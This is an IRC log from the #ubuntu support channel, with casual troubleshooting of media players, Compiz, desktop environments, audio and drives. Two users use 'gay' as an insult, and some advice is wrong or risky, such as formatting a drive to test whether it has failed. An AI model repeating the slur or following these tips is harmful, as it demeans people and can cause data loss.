[01:57] <scguy318> reco_: the script is fine tho, it just greps the logs or w/e
[01:57] <flyingfree> gusr13 go that done and have mplayer added as an item but what is the command for the gui?
[01:57] <SuperSnout> where do i type that in? :/
[01:58] <djjoka> can someone help me with my error
[01:58] <scguy318> reco_: on online-nmap.com, theres a box for custom options or w/e
[01:58] <djjoka> ?
[01:58] <flyingfree> don't have a KED menu editor option, only "Edit Menus"
[01:58] <scguy318> SuperSnout: the script is fine tho, it just greps the logs or w/e
[01:58] <scguy318> reco_: sorry wrong addressee
[01:58] <usr13> flyingfree: mplayer
[01:58] <K|NgGh0sT> rxKaffee, Only live cd that works, can only find my 250gig drive, not my 300... soo looks like that one is the one that may of failed
[01:58] <usr13> flyingfree: gmplayer
[01:58] <scguy318> SuperSnout: on online-nmap.com, theres a box for custom options or w/e
[01:59] <thedefender> jordan_U: yes but i also wish to free up the memory xgl is taking
[01:59] <SuperSnout> scguy318: just added it to the beginning
[01:59] <flyingfree> usr13 "failed to execute process no such file or cirectory
[01:59] <thedefender> jordan_U:  there i want to shut it down along with compiz and then be able to restart it inside of X
[01:59] <usr13> flyingfree: But you are better off just using it from command line.  Because if you have a group of videos in a particular directory and you want to run them consecutively, you'd issue command   mplayer videos/*
[02:00] <flyingfree> user13 the command option has a browse button where would I look for the gmplayer file?
[02:00] <D4niel> thedefender: try fusion-icon
[02:00] <flyingfree> usr13 sorry, oldschool apple and windows guy, I like GUI's
[02:00] <usr13> flyingfree: You may need to use full path, which is probably /usr/bin/gmplayer
[02:00] <thedefender> !fusion-icon
[02:00] <ubotu> Sorry, I don't know anything about fusion-icon - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:01] <axjv> When I start up swiftweasel, it opens http://0/ instead of my homepage. Can anyone help me?
[02:01] <Jordan_U> thedefender, So you want to stop XGL and all of the applications running in it and then run only the one application, or do you want to run GNOME also?
[02:01] <jony_kalavera> hi
[02:01] <thedefender> d4niel: what is this fusion-icon
[02:01] <Jordan_U> thedefender, That won't do anything to XGL
[02:01] <jony_kalavera> i have a problem with firebug in firefox
[02:01] <axjv> thedefender: It's an icon in your system tray that helps you manage compiz.
[02:01] <usr13> flyingfree: I understand - some folks just like play with the  mouse alot
[02:02] <jony_kalavera> firebug says its runnign but it just is'nt there
[02:02] <jony_kalavera> its not visible
[02:02] <alka_trash> anyone using the pre-release packages in the repositories? are they stable?
[02:02] <hypa7ia> hi #ubuntu, i'm still trying to resolve a booting issue on a fresh default install of 7.10 - it hangs after the text "boot from CD \n grub loading stage 1.5" appears
[02:02] <thedefender> I just want to be able to shutdown XGL during the time i am using process critical programs and then re-enable it when i want a pretty desktop again
[02:03] <flyingfree> usr13 must be gone not there in the bin folder
[02:03] <flyingfree> gmplayer or mplayer let me check command line
[02:03] <SuperSnout> my azureus is messed up.. when I start it it has an error now.. I think it's because I interrupted it in Terminal.. :/
[02:03] <usr13> flyingfree: which gmplayer
[02:03] <SuperSnout> Is there any way to fix it?
[02:03] <D4niel> well in 7.04 if u start a gdm session with xgl, u can logout and try another gdm session
[02:03] <scguy318> SuperSnout: Azureus crashing is a known bug
[02:03] <scguy318> SuperSnout: there are better clients anyway
[02:03] <SuperSnout> scguy318: it just wont start
[02:03] <usr13> flyingfree: which gmplayer    will tell you where it is located.
[02:04] <scguy318> SuperSnout: you could do rm ~/.azureus I think
[02:04] <scguy318> SuperSnout: rm -r ~/.azureus
[02:04] <flyingfree> okay I'll try that thanks
[02:04] <thedefender> but in gutsy XGL is automatically part of the default session
[02:04] <thedefender> once installed
[02:04] <flyingfree> usr13 which gmplayer returns nothing
[02:04] <flyingfree> usr 13 which mplayer returns othing
[02:04] <usr13> flyingfree: which mplayer
[02:04] <Jordan_U> thedefender, There is a file that it checks for at login, something like "~/.disable-xgl"
[02:04] <D4niel> ye i think maybe we can try the failsafe gnome session
[02:04] <flyingfree> usr13 therefore not installed?
[02:04] <jadacyru2> im using bluetooth between my LG phone and my laptop on gutsy, ive bonded and trusted the devices but i dont know how to browse through my phone so i can put music on there, when i goto browse device it doesnt show up but it shows up under preferences
[02:05] <sasimon19> I need help setting the server root from the default in ubuntu (/var/www/) to another directory (mounted in /media/windowsxp/Program Files/Apache Software Foundation/Apache2.2/htdocs) I tried editing it in the /etc/apache2/apache2.conf file and restarting apache but no luck, it's the same for some reason... php works in that directory but I can't figure out how to move the default directory...
[02:05] <usr13> flyingfree: You must not have gmplayer installed  Yes... it is not installed
[02:05] <flyingfree> k thnks
[02:05] <scguy318> SuperSnout: if Azureus doesn't want to work you can use KTorrent, rTorrent, uTorrent (on Wine)
[02:05] <usr13> flyingfree: If you want to install gmplayer  do     apt-get install gmplayer
[02:05] <Yachi> could i install my headset drivers in wine?
[02:05] <Jordan_U> usr13, Actually the mplayer package installs gmplayer
[02:06] <flying_penguin> mplayer is great
[02:06] <scguy318> Yachi: no
[02:06] <flying_penguin> gmplayer seems to crash alot
[02:06] <scguy318> Yachi: Wine deals with userspace
[02:06] <Yachi> feck
[02:07] <D4niel> smplayer is nice
[02:07] <Yachi> well i got the windows drivers out of the .exe
[02:07] <flying_penguin> if you install drivers in wine they will only work when you have wine running them
[02:07] <scguy318> Yachi: what audio chipset is it? maybe latest ALSA tarball could get it to work
[02:07] <Yachi> USB
[02:07] <thedefender> !language | Yachi
[02:07] <ubotu> Yachi: Please watch your language and topic, and keep this channel family friendly.
[02:07] <usr13> flyingfree: What you have is mplayer, whic is fine, but it  is not a gui application.  It is to be run from command-line.
[02:07] <flying_penguin> thats alot of overhead for regular usage
[02:07] <scguy318> Yachi: I know USB, but what chipset?
[02:07] <Yachi> sorry ;)
[02:07] <flying_penguin> if you want a gui player i would suggest vlc
[02:07] <sFEARs> if i have the build-essentials package installed will it show in the add/remove programs?
[02:07] <Yachi> chipset for what?
[02:07] <SuperSnout> scguy318: Do I have to have terminal running for azureus to work? if i close terminal azureus closes too..
[02:07] <scguy318> Yachi: your headset
[02:07] <flyingfree> thanks all for your help
[02:08] <flyingfree> next qustion
[02:08] <scguy318> SuperSnout: no...
[02:08] <scguy318> SuperSnout: you can start it from Applications menu
[02:08] <scguy318> SuperSnout: or start azureus with nohup if you like
[02:08] <thedefender> ahh don't worry about it, didn't think the language command actually exisisted

[02:10] <ubotu> xubuntu is Ubuntu with Xfce instead of Gnome. For more info, see http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: "sudo apt-get install xubuntu-desktop". | For support, see #xubuntu | See also: !ubuntu and !xubuntu-channels
[02:10] <ubotu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)

[02:11] <flyingfree> really, haven't found I like totem interface much looking for something similar to MMJB or winamp
[02:11] <bazhang> flyingfree: tried xmms?
[02:11] <flyingfree> nope
[02:11] <sFEARs> best djing software is MixMeister.. it's only for windows so far though

[02:11] <sFEARs> be nice to have it ported
[02:11] <K|NgGh0sT> Whats an easy way to see if a drive is dead or not?
[02:12] <flyingfree> does xmms run well under xfce?
[02:12] <flyingfree> bazhang
[02:12] <flyingfree> bazhang does it have a development or wiki page?
[02:12] <bazhang> flyingfree: sure--looks alot like winamp too
[02:12] <usr13> flyingfree likes fancy,  like maybe Rhythmbox  and   gxine  and  kaffeine  etc.
[02:12] <sFEARs> K|Ng.. try to format it
[02:13] <flyingfree> usr13 yup
[02:13] <thedefender> why is gnome the default interface if Xfce is considered faster and less of a resource hog
[02:13] <thedefender> for ubuntu
[02:13] <magus_> Which is the best choice to use the xmpp?
[02:13] <mwazny> !sound
[02:13] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[02:13] <sFEARs> it reminds new linux users of windows? THEDEFENDER
[02:13] <flyingfree> okay thanks for th ee info
[02:13] <thedefender> lol
[02:14] <peglegg> that xubuntu is one broken POS, whereas ubuntu is perfect.
[02:14] <sFEARs> perfect?
[02:14] <bazhang> hehe
[02:14] <thedefender> perfect....right
[02:14] <pyrak> gutsy killed me ability to lock screen when i close my lappy.  anyone know how i can restore that setting?
[02:14] <Yachi> god damnit

[02:15] <clusty> hey
[02:15] <clusty> i am having some problem with my external firewire disk
[02:15] <Yachi> now i can hear everything coming in my mic threw my headset
[02:15] <clusty> dmesg sais the following:[ 1994.920000] ieee1394: Error parsing configrom for node 0-00:1023

[02:15] <tonyduke> amule always shuts down randomly ?
[02:16] <ray_> how is it that my music player can find a shared drive, but my network folder cant?
[02:16] <sFEARs> that's a hell of a question
[02:16] <clusty> ray_: samba is black magic. no wonder if nothig works right
[02:16] <sFEARs> have you refreshed?
[02:16] <thedefender> yes i have noticed for some odd reason ubuntu lets the sound of my mic through the speakers even when the mic is muted and recording disabled on it. very odd and annoying due to feedback at high volumes
[02:17] <sFEARs> mabey it's displaying cached info
[02:17] <ray_> i guess so i have no experence with samba
[02:17] <sainzeo> i recently installed vmware workstation 6 onto my 7.10 install, but am unable to build the vmhgfs module - any suggestions?
[02:18] <magicrobotmonkey> anyone installed the new skype? if so, which package?
[02:18] <thedefender> anyone know a link on this new beta version of ubuntu they have been talking about?
[02:19] <cyberjames> get one from website
[02:19] <SuperSnout> what's the best music application for linux?

[02:19] <sFEARs> be more specific SuperSnout
[02:19] <preaction> !best | SuperSnout
[02:19] <ubotu> SuperSnout: Usually, there is no single "best" application to perform a given task. It's up to you to choose among a number of different applications, depending on your preferences, the features you require, and other factors.
[02:20] <SuperSnout> well.. foobar is the best for windows :)
[02:20] <thedefender> i say VLC is the best for both Linux and Windows
[02:20] <sFEARs> i say mixmeister is the best for windows
[02:21] <preaction> i prefer real music players like Amarok and/or rhythmbox
[02:22] <clusty> dmesg sais the following:[ 1994.920000] ieee1394: Error parsing configrom for node 0-00:1023
[02:22] <magicrobotmonkey> hell no, joining a team == meetings
[02:22] <clusty> [ 1994.920000] ieee1394: Node changed: 0-00:1023 -> 0-01:1023
[02:22] <magicrobotmonkey> hell no, joining a team == meetings
[02:22] <sFEARs> if you download ubuntu studio it will have a bunch of different audio apps in there you can play around with
[02:22] <K|NgGh0sT> Buffer I/O error on device sda, logical block 0 <--- Whats that mean?
[02:22] <jadedangel> so why is it that firefox seems to lag on 7.10
[02:22] <SuperSnout> is kubuntu better? :/
[02:22] <thedefender> Supersnout: VLC is highly stable, supports a broad range of formats, and is designed to work for the novice computer user to the professional internet broadcaster
[02:22] <SuperSnout> or does it have limitations?
[02:23] <sFEARs> corrupt fat K|Ng?
[02:23] <sFEARs> sounds toasted
[02:23] <SuperSnout> thedefender: I used to use it for watching videos but it's more cpu intensive than media player classic
[02:23] <Gh0stee> thats what I'm trying to figure out if it is or not
[02:23] <preaction> SuperSnout, every OS has limitations. "better" is relative. we've been through this. try it out if you want, otherwise use gnome, or try xfce, or try icebox, or try ...
[02:23] <sFEARs> have you tried to reformat?
[02:24] <thedefender> SuperSnout: just re nice it then
[02:24] <SuperSnout> preaction: is there anywhere I can find out about the pros and cons? because I don't really know what KDE is tbh
[02:24] <mike__> try wikipedia
[02:24] <sFEARs> kde is kinda like a skin for ubuntu

[02:25] <jadedangel> how does one get updated drivers for all of their periphials, like usb,
[02:25] <preaction> sFEARs, no it's not.
[02:25] <sFEARs> ok.. it's not
[02:25] <SuperSnout> hmm.. ubuntu says the wrong make of mp3 player when I plug my iriver in.. is there any way to fix it?
[02:25] <thedefender> anyone know if there are other plugins for compiz fusion other then the standard load out, maybe community created ones
[02:25] <preaction> SuperSnout, sudo apt-get install kubuntu-desktop <- try it out and see if you like it
[02:26] <SuperSnout> preaction: oh! I thought you would have to completely reinstall the operating system ><
[02:27] <preaction> SuperSnout, KDE is a desktop, like Gnome. it contains components using QT (a windowing toolkit). you can either use the entire system (KDE) or just parts of it, everything is available to you
[02:27] <mike__> hi all, does anyone know of a good window themer for compiz, i liked emraled in beryl but for compuz
[02:27] <mike__> compiz
[02:27] <usr13> SuperSnout: One of the cool things about ubuntu is that it's a one time install.  You never have to re-install.
[02:27] <SuperSnout> usr13: that's really good
[02:28] <preaction> it's also not true: there are ways to hose a system, and for my money it's easier to re-install than it is to dist-upgrade
[02:28] <pavs> sudo apt-get install anarchism
[02:28] <peglegg> i am really impressed with gutsy - it is doing tv-out with the open ati driver, it set up my printer, and my main problem was graphic acceleration, but i haven't had to do anything.
[02:28] <usr13> SuperSnout: Yes, it is really very cool.  When a new  version is released, it just comes to you as an option in updates.
[02:29] <snake> what are the minimal packages that i have to install to have kde in ubuntu. i mean without uninstalling gnome
[02:30] <peglegg> probably install kubuntu-desktop
[02:30] <usr13> SuperSnout: And it will just completely re-install all the upgraded packages and kernel and everything.  It might take all night long, but will keep working untill it's all updated to the new version.  The commandline option is:  apt-get dist-upgrade
[02:30] <permanoia> when i try to ssh i get `ssh_exchange_identification: Connection closed by remote host` -- checked router/modem settings seem ok.
[02:30] <nvrpunk> Wisenhunt, you here?
[02:31] <nvrpunk> I just finished up my TCL/Expect script modification to work with windows, can help with the ATI issue
[02:31] <SIT`khoa> is it possible to regenerate my apache.pem server certificate?
[02:31] <SIT`khoa> without doing anything major?
[02:32] <ttols> peglegg: why do you say to install kubuntu instead gnome?  kde is more nice than gnome?
[02:32] <archangel_> ok whats with the GAY harddrive spin down issues with feisty and gutsy ?
[02:32] <mike__> its a personal prefrence
[02:32] <nvrpunk> gnome < kde
[02:32] <archangel_> https://bugs.launchpad.net/ubuntu/+bug/104535
[02:32] <archangel_> is this fixable or not ?
[02:32] <nvrpunk> well qt is much better than gtk
[02:33] <Yachi> ok i got the headset to play music and stuff but the mic is still messed up
[02:33] <jadedangel> how does one get updated drivers for all of their periphials, like usb,
[02:33] <nvrpunk> jadedangel: build a custom kernel
[02:33] <SuperSnout> so if I install the kubuntu desktop i can use ktorrent?
[02:33] <waterbucket> Is there any way to serialize the Live CD of 7.10? I want to try Compiz but I have to reboot to enable drivers
[02:33] <peglegg> ttols: kde is kinda gay looking, all the pretty stuff and all the millions of settings
[02:33] <LjL> !language | peglegg
[02:33] <ubotu> peglegg: Please watch your language and topic, and keep this channel family friendly.
[02:33] <nvrpunk> SuperSnout: you dont need kubuntu to install ktorrent
[02:34] <waterbucket> SuperSnout: if you install Q it should work
[02:34] <waterbucket> *Qt
[02:34] <SuperSnout> nvrpunk: but it's KDE isn't it?
[02:34] <blahnahblahblah> Anyone here use Tor ... I really need help on something
[02:34] <waterbucket> KDE apps use Qt, so just install that
[02:34] <nvrpunk> SuperSnout: which means it uses QT, just the application layers widget implementation
[02:34] <sFEARs> what is Tor?
[02:34] <Yachi> i used to use tor
[02:34] <Yachi> its a proxy
[02:34] <sFEARs> ohh
[02:34] <jester> hey all...
[02:35] <pavs> can I install HFS file system with ubuntu?
[02:35] <mike__> yes???
[02:35] <blahnahblahblah> when i use vidalia it asks for a control password... Im Lost
[02:35] <nvrpunk> SuperSnout: gtk or QT both are libs, people choose which one they want to use with their application, just QT has a different license, it is not GPL
[02:35] <jester> pavs, i believe so...
[02:35] <blahnahblahblah> a tor control password
[02:35] <Yachi> are your trying to run a server?
[02:35] <nvrpunk> SuperSnout: long story short linux is about licenses
[02:35] <blahnahblahblah> just the client side of tor
[02:35] <SuperSnout> so, I need to install qt to use ktorrent?
[02:35] <buzztu> i am having trouble playing quicktime , no sound, via miro which uses vlc.. any ideas/tips?
[02:35] <Yachi> sorry i dont know
[02:36] <nvrpunk> SuperSnout: no, you just need to apt-get install it or use aptituide or synaptics,
[02:36] <nvrpunk> SuperSnout: they fetch the dependancies (deps)
[02:36] <nvrpunk> qt is a dependancy
[02:36] <thedefender> anyone know if there are other plugins for compiz fusion other then the standard load out, maybe community created ones
[02:36] <blahnahblahblah> this sux i cant google find it anywhere
[02:36] <pavs> jester i read somewhere hfs is not supported by ubuntu (or doesnt work properly, ie broken) but works with fedora and some other distros, anyone know anything about it?
[02:36] <mike__> no clue sorr y
[02:36] <SuperSnout> the kubuntu desktop installation is asking me what default display manager I want.. should I say KDM?
[02:37] <waterbucket> thedefender: do you know of a way to change video drivers on the LiveCD without rebooting?
[02:37] <jester> pavs, i havent, i was just guessing...
[02:37] <nvrpunk> thedefender: yes there are, #compiz-fusion
[02:37] <jester> SuperSnout, yes...
[02:37] <nvrpunk> SuperSnout: if youre using Kubuntu, yes
[02:37] <nvrpunk> otherwise why would you use kubuntu?
[02:37] <SuperSnout> :)
[02:37] <nvrpunk> really I have no clue why they even have kubuntu and xubuntu
[02:37] <nvrpunk> its all the same thing
[02:38] <nvrpunk> just slightly different builds here and there
[02:38] <thedefender> waterbucket: not sure, ANYONE know if Crtl + Alt + Backspace works while in live CD
[02:38] <waterbucket> nvrpunk: matters for the livecd I guess
[02:38] <pavs> SuperSnout: KDM for kubuntu and GDM gnome
[02:38] <jester> nvrpunk, differnt things... but not much...
[02:38] <jester> thedefender, yes, it does.
[02:38] <sFEARs> KDM looks cooler but runs a little slower.. gnome is the standard ubuntu desktop SuperSnout
[02:38] <nvrpunk> in all honesty its a waste of server space and resources
[02:38] <waterbucket> thedefender: it does
[02:38] <waterbucket> thedefender: but it won't let you change to direct rendering without a full reboot
[02:38] <waterbucket> I just wanna try out Compiz-Fusion
[02:38] <sFEARs> does a lot more than look cooler.. but for starters sake
[02:39] <SuperSnout> what happens if i cancel the installation of kubuntu?
[02:39] <thedefender> waterbucket: compiz fusion worked on the live CD for me and i am running an ATI card
[02:39] <jester> waterbucket, actually, i think it will....
[02:39] <waterbucket> SuperSnout: if you haven't partitioned your HD yet, then nothing happens
[02:39] <waterbucket> jester: it didn't work for me
[02:39] <waterbucket> jester: it just froze
[02:39] <thedefender> waterbucket: whys it not working for you
[02:39] <SuperSnout> I'm installing kubuntu desktop
[02:39] <nvrpunk> I almost left my military workstation with a static IP to a layer 2 device I was programming :( I would have been in deep poo if I left it like that and anyone else couldnt use it heh
[02:39] <waterbucket> I could change my monitor and ctrl-alt-backspace, but not DRI
[02:39] <jester> really? i just installed the restricted driver, and just restarted x....
[02:40] <waterbucket> hm, maybe it's a hardware issue
[02:40] <waterbucket> I've got Radeon 9800 Pro
[02:40] <thedefender> i am using that exact card and it worked for me
[02:40] <waterbucket> I installed the restricted and restarted, but I got blank screens and death
[02:40] <thedefender> r350 series
[02:40] <thedefender> oh
[02:40] <ttols> I using gnome now, if I want to change desktop from gnome to KDE, how to set my system?
[02:40] <SuperSnout> ok.. I just cancelled the kubuntu desktop installation.. will I have some dodgy half installed files lying around?
[02:40] <SuperSnout> is there some way to clean it up?
[02:41] <waterbucket> SuperSnout: how far did you go in the installation?
[02:41] <waterbucket> did you already format and begin copying files?
[02:41] <thedefender> waterbucket: ok this is what you can do, you can use the opensource drivers and it will work ok
[02:41] <bazhang> ttols: in login screen choose session
[02:41] <SuperSnout> waterbucket: unpacking stuff
[02:41] <waterbucket> thedefender: which one is that?
[02:41] <ttols> my system is ubuntu edgy
[02:41] <waterbucket> I tried "radeon" and it defaulted to "ati"
[02:41] <thedefender> waterbucket: but since you have the restricted drivers installed already you can install XGL and it should work but you would still have to restart
[02:41] <SuperSnout> waterbucket:  and setting up some things
[02:41] <waterbucket> SuperSnout: then just delete the partitions it made
[02:42] <SuperSnout> waterbucket: I don't think it made partitions..
[02:42] <GamingX_> Guys, How do i install a proxy on ubuntu?
[02:42] <thedefender> waterbucket: just restart without the restricted drivers and install the compiz manager
[02:42] <Middleastin> HEllo
[02:42] <bazhang> ttols: doesn't make a difference--choose session, then click the DE you want
[02:42] <Middleastin> any wanna help me out
[02:42] <sFEARs> hello
[02:42] <waterbucket> thedefender: well, without the restricted drivers I had no DRI
[02:43] <sFEARs> depends where your in
[02:43] <waterbucket> thedefender: when I tried to enable Compiz effects in Ubuntu Appearance controls, it failed
[02:43] <d0lph1nK1ng> can i get Emerald Themes to work with Xcompmgr?
[02:43] <thedefender> waterbucket: compiz will work and when i popped in the live cd my radeon 9800 pro loaded the opensource FGLRX, which supports DRI and AIGLX
[02:43] <Middleastin> i need help in desktop effects
[02:43] <sFEARs> proally can't help but ask away
[02:44] <ttols> bazhang: KDE is not be in loggin session. and was not checked in synatic.
[02:44] <waterbucket> thedefender: so you didn't use the Appearance control? just install the compiz manager separately?
[02:44] <bazhang> Middleastin: please be specific
[02:44] <bazhang> ttols: what are the choices?
[02:44] <Middleastin> my desktop effect ask that it needs nivida hardware
[02:45] <Middleastin> its not installed
[02:45] <sFEARs> hardware is the key word there
[02:45] <Middleastin> nice
[02:45] <thedefender> waterbucket: if you tried to enable more effects using apperences and it said composite failed then the manager won't help
[02:46] <thedefender> odd, i swore when i was using the live cd that the opensource ati driver allowed DRI for a single screen
[02:46] <Yachi> rahh
[02:46] <ttols> bazhang: gnome, terminal safemode, Xgl and gnome safemode are available
[02:46] <Middleastin> well i when and did the estricted driver
[02:46] <sFEARs> sounds like your using software that requires faster hardware.. proally need a better graphics card
[02:46] <Yachi> i got the headset working, but the mic still wont put audio towards teamspeak
